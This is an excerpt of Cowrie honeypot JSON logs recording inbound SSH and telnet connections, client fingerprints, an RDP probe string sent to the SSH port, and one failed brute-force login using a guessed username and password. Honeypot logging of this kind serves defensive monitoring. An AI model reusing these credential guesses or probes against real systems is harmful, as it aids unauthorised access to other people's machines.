{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:35:21.901347Z","src_ip":"80.94.92.184","session":"1af1c3492380","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57376,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cea1d0921ab","protocol":"telnet","message":"New connection: 192.119.13.58:57376 (10.17.0.5:23) [session: 2cea1d0921ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:35:21.974259Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:35:22.081666Z","src_ip":"80.94.92.184","session":"1af1c3492380","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456.cn","message":"login attempt [solv/123456.cn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:35:22.715796Z","src_ip":"80.94.92.184","session":"1af1c3492380","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:35:23.973641Z","src_ip":"80.94.92.184","session":"1af1c3492380","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.48701333999634,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:35:25.256589Z","src_ip":"192.119.13.58","session":"e7b1f801613a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":55022,"dst_ip":"159.203.135.109","dst_port":22,"session":"b14d92f3830f","protocol":"ssh","message":"New connection: 152.42.212.128:55022 (159.203.135.109:22) [session: b14d92f3830f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:35:25.424603Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:35:25.429487Z","src_ip":"152.42.212.128","session":"b14d92f3830f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:35:25.433667Z","src_ip":"152.42.212.128","session":"b14d92f3830f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.513099670410156,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:35:28.304820Z","src_ip":"192.119.13.58","session":"669edee6a851","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.91658639907837,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:35:29.666020Z","src_ip":"192.119.13.58","session":"e2c03a40e729","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34002,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf94c5b9568e","protocol":"telnet","message":"New connection: 192.119.13.58:34002 (10.17.0.5:23) [session: bf94c5b9568e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:35:30.792059Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44614,"dst_ip":"10.17.0.5","dst_port":23,"session":"adf9cbe8ebf0","protocol":"telnet","message":"New connection: 192.119.13.58:44614 (10.17.0.5:23) [session: adf9cbe8ebf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:35:34.708052Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49596,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cfe11d63301","protocol":"telnet","message":"New connection: 192.119.13.58:49596 (10.17.0.5:23) [session: 6cfe11d63301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:35:34.942774Z"}
{"eventid":"cowrie.session.closed","duration":41.58871841430664,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:35:36.889101Z","src_ip":"192.119.13.58","session":"3f1533090c9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.29767060279846,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:35:37.265724Z","src_ip":"192.119.13.58","session":"2c6804b9f6de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.24770426750183,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:35:37.393210Z","src_ip":"192.119.13.58","session":"eefa289d877b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.683356285095215,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:35:41.840625Z","src_ip":"192.119.13.58","session":"59a1429be577","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.172","src_port":42376,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d022329579b","protocol":"telnet","message":"New connection: 66.132.186.172:42376 (159.203.135.109:23) [session: 0d022329579b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:35:45.557509Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51594,"dst_ip":"10.17.0.5","dst_port":23,"session":"124d06d8a1fc","protocol":"telnet","message":"New connection: 192.119.13.58:51594 (10.17.0.5:23) [session: 124d06d8a1fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:35:49.725743Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50230,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c153114a826","protocol":"telnet","message":"New connection: 192.119.13.58:50230 (10.17.0.5:23) [session: 2c153114a826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:35:56.191637Z"}
{"eventid":"cowrie.session.closed","duration":36.64103865623474,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:35:58.615154Z","src_ip":"192.119.13.58","session":"2cea1d0921ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.394994258880615,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:00.952394Z","src_ip":"66.132.186.172","session":"0d022329579b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59478,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c08549b59c7","protocol":"telnet","message":"New connection: 192.119.13.58:59478 (10.17.0.5:23) [session: 0c08549b59c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:05.344915Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.172","src_port":9188,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfc641a84600","protocol":"telnet","message":"New connection: 66.132.186.172:9188 (159.203.135.109:23) [session: bfc641a84600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:06.375378Z"}
{"eventid":"cowrie.session.closed","duration":33.05478882789612,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:07.762751Z","src_ip":"192.119.13.58","session":"adf9cbe8ebf0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.98","src_port":45530,"dst_ip":"159.203.135.109","dst_port":23,"session":"19f08c11cfb7","protocol":"telnet","message":"New connection: 66.132.172.98:45530 (159.203.135.109:23) [session: 19f08c11cfb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:08.565635Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46540,"dst_ip":"10.17.0.5","dst_port":23,"session":"d090b507faef","protocol":"telnet","message":"New connection: 192.119.13.58:46540 (10.17.0.5:23) [session: d090b507faef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:08.848830Z"}
{"eventid":"cowrie.session.closed","duration":4.46797251701355,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:10.843205Z","src_ip":"66.132.186.172","session":"bfc641a84600","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.172","src_port":4958,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fe691812795","protocol":"telnet","message":"New connection: 66.132.186.172:4958 (159.203.135.109:23) [session: 7fe691812795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:14.026055Z"}
{"eventid":"cowrie.session.closed","duration":39.55406093597412,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:14.496758Z","src_ip":"192.119.13.58","session":"6cfe11d63301","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.6629741191864,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:17.454972Z","src_ip":"192.119.13.58","session":"bf94c5b9568e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55038,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e94b81212c1","protocol":"telnet","message":"New connection: 192.119.13.58:55038 (10.17.0.5:23) [session: 6e94b81212c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:17.610727Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40240,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0e14764a14a","protocol":"telnet","message":"New connection: 192.119.13.58:40240 (10.17.0.5:23) [session: a0e14764a14a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:20.964871Z"}
{"eventid":"cowrie.session.closed","duration":10.02395248413086,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:24.049648Z","src_ip":"66.132.186.172","session":"7fe691812795","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52810,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a14767351f4","protocol":"telnet","message":"New connection: 192.119.13.58:52810 (10.17.0.5:23) [session: 2a14767351f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:24.370149Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52934,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb673c4206c0","protocol":"telnet","message":"New connection: 192.119.13.58:52934 (10.17.0.5:23) [session: cb673c4206c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:24.398407Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54436,"dst_ip":"10.17.0.5","dst_port":23,"session":"f95316c0bd3d","protocol":"telnet","message":"New connection: 192.119.13.58:54436 (10.17.0.5:23) [session: f95316c0bd3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:24.731161Z"}
{"eventid":"cowrie.session.closed","duration":16.36542582511902,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:24.930983Z","src_ip":"66.132.172.98","session":"19f08c11cfb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.25346636772156,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:24.979075Z","src_ip":"192.119.13.58","session":"124d06d8a1fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.113","src_port":61774,"dst_ip":"159.203.135.109","dst_port":23,"session":"daf7efba0991","protocol":"telnet","message":"New connection: 66.132.195.113:61774 (159.203.135.109:23) [session: daf7efba0991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:27.531280Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.98","src_port":42040,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c9486e69791","protocol":"telnet","message":"New connection: 66.132.172.98:42040 (159.203.135.109:23) [session: 1c9486e69791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:29.977261Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":58086,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a9b1880ed5a","protocol":"ssh","message":"New connection: 167.172.81.52:58086 (10.17.0.5:22) [session: 9a9b1880ed5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:31.212118Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:31.215972Z","src_ip":"167.172.81.52","session":"9a9b1880ed5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:31.219278Z","src_ip":"167.172.81.52","session":"9a9b1880ed5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.9031856060028076,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:32.880252Z","src_ip":"66.132.172.98","session":"1c9486e69791","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59864,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f468d37029c","protocol":"telnet","message":"New connection: 192.119.13.58:59864 (10.17.0.5:23) [session: 3f468d37029c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:33.478716Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35724,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ac3c0e186f4","protocol":"telnet","message":"New connection: 192.119.13.58:35724 (10.17.0.5:23) [session: 4ac3c0e186f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:34.602885Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38172,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4d17f8a35b9","protocol":"telnet","message":"New connection: 192.119.13.58:38172 (10.17.0.5:23) [session: f4d17f8a35b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:35.245182Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.98","src_port":20674,"dst_ip":"159.203.135.109","dst_port":23,"session":"628a6797053a","protocol":"telnet","message":"New connection: 66.132.172.98:20674 (159.203.135.109:23) [session: 628a6797053a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:36.650077Z"}
{"eventid":"cowrie.session.closed","duration":43.280091524124146,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:39.471607Z","src_ip":"192.119.13.58","session":"2c153114a826","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58126,"dst_ip":"10.17.0.5","dst_port":23,"session":"69c798083536","protocol":"telnet","message":"New connection: 192.119.13.58:58126 (10.17.0.5:23) [session: 69c798083536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:40.371028Z"}
{"eventid":"cowrie.session.closed","duration":15.351452589035034,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:42.882622Z","src_ip":"66.132.195.113","session":"daf7efba0991","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.113","src_port":15666,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6cd4b9f7b36","protocol":"telnet","message":"New connection: 66.132.195.113:15666 (159.203.135.109:23) [session: d6cd4b9f7b36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:45.941028Z"}
{"eventid":"cowrie.session.closed","duration":10.197238445281982,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:46.846915Z","src_ip":"66.132.172.98","session":"628a6797053a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.036618947982788,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:48.977512Z","src_ip":"66.132.195.113","session":"d6cd4b9f7b36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.436288595199585,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:50.285037Z","src_ip":"192.119.13.58","session":"d090b507faef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46048,"dst_ip":"10.17.0.5","dst_port":23,"session":"0da04a08a5ae","protocol":"telnet","message":"New connection: 192.119.13.58:46048 (10.17.0.5:23) [session: 0da04a08a5ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:51.616735Z"}
{"eventid":"cowrie.session.closed","duration":46.85580492019653,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:52.200618Z","src_ip":"192.119.13.58","session":"0c08549b59c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50512,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2acdd5d56c5","protocol":"telnet","message":"New connection: 192.119.13.58:50512 (10.17.0.5:23) [session: f2acdd5d56c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:52.876573Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.113","src_port":44530,"dst_ip":"159.203.135.109","dst_port":23,"session":"8afa8252711e","protocol":"telnet","message":"New connection: 66.132.195.113:44530 (159.203.135.109:23) [session: 8afa8252711e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:54.070963Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60416,"dst_ip":"10.17.0.5","dst_port":23,"session":"08d726144469","protocol":"telnet","message":"New connection: 192.119.13.58:60416 (10.17.0.5:23) [session: 08d726144469]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:55.410683Z"}
{"eventid":"cowrie.session.closed","duration":38.43408012390137,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:56.044700Z","src_ip":"192.119.13.58","session":"6e94b81212c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.589586973190308,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:36:56.320660Z","src_ip":"192.119.13.58","session":"f95316c0bd3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54040,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f0e924642fc","protocol":"telnet","message":"New connection: 192.119.13.58:54040 (10.17.0.5:23) [session: 4f0e924642fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:37:00.756269Z"}
{"eventid":"cowrie.session.closed","duration":38.42922568321228,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:37:02.827491Z","src_ip":"192.119.13.58","session":"cb673c4206c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.062665939331055,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:37:04.133522Z","src_ip":"66.132.195.113","session":"8afa8252711e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54326,"dst_ip":"10.17.0.5","dst_port":23,"session":"22548222d1c9","protocol":"telnet","message":"New connection: 192.119.13.58:54326 (10.17.0.5:23) [session: 22548222d1c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:37:07.695858Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54380,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c84ba0b2932","protocol":"telnet","message":"New connection: 192.119.13.58:54380 (10.17.0.5:23) [session: 8c84ba0b2932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:37:07.708194Z"}
{"eventid":"cowrie.session.closed","duration":47.024468421936035,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:37:07.989255Z","src_ip":"192.119.13.58","session":"a0e14764a14a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.45145869255066,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:37:08.930064Z","src_ip":"192.119.13.58","session":"3f468d37029c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.97598910331726,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:37:09.346011Z","src_ip":"192.119.13.58","session":"2a14767351f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.73466491699219,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:37:14.105564Z","src_ip":"192.119.13.58","session":"69c798083536","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.73304033279419,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:37:15.335795Z","src_ip":"192.119.13.58","session":"4ac3c0e186f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58264,"dst_ip":"10.17.0.5","dst_port":23,"session":"16df081aab31","protocol":"telnet","message":"New connection: 192.119.13.58:58264 (10.17.0.5:23) [session: 16df081aab31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:37:15.774681Z"}
{"eventid":"cowrie.session.closed","duration":41.87090826034546,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:37:17.115967Z","src_ip":"192.119.13.58","session":"f4d17f8a35b9","protocol":"telnet"}
